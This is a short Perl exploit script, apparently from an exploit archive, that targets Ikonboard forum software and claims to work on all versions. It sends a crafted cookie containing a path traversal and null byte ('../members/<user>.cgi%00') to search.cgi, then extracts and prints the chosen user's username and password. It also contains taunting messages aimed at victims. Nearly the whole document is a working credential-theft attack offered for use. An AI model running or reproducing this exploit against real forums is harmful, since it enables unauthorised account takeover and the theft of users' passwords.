ikonboard All Versions Remote Password Disclosure

[Ras]

#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
&help unless $#ARGV == 2;
&help unless $ARGV[0] =~ m/^(.*)\\.(.*)/gi;
&help unless $ARGV[2] =~ m/^\\/(.*)\\//gi;
my $host = $ARGV[0];
my $user = $ARGV[1];
my $path = $ARGV[2];
our $lwp = new LWP::UserAgent;
$lwp -> agent(\"Ik0nb04d w4r3z by n0stur. ph33r bitchez!\");
our $get = $lwp -> get(\"http://\".$host.\"/cgi-bin\".$path.\"search.cgi?action=display\", \'Cookie\' => \"amembernamecookie=../members/\".$user.\".cgi%00;\") || print \"\\n[-] $!\\n\";

if($get->content() =~ /$user/){ print \"\\n[*] Vulnerable\\n\";} else { &end; }

$get->content() =~ /forum=(\\w+)&topic=(\\w+)/;
print \"\\n[+] Username: \".$1.\"\\n\";
print \"[+] Password: \".$2.\"\\n\";
print \"Service provided by nostur. njoy, bitchez!\\n\";
sub help {
print qq^
Ikonboard all versions remote password disclosure
Found by: anonymous...
Code by: nostur
->Usage: $0 <host> <user> <path_to_ikonboard_in_cgibin>
^;
die(\"\\nNot enough parameters, check the code...\\n\");
}
sub end { die(\"\\n[-]Not Vulnerable\\n\"); }

# notsec.com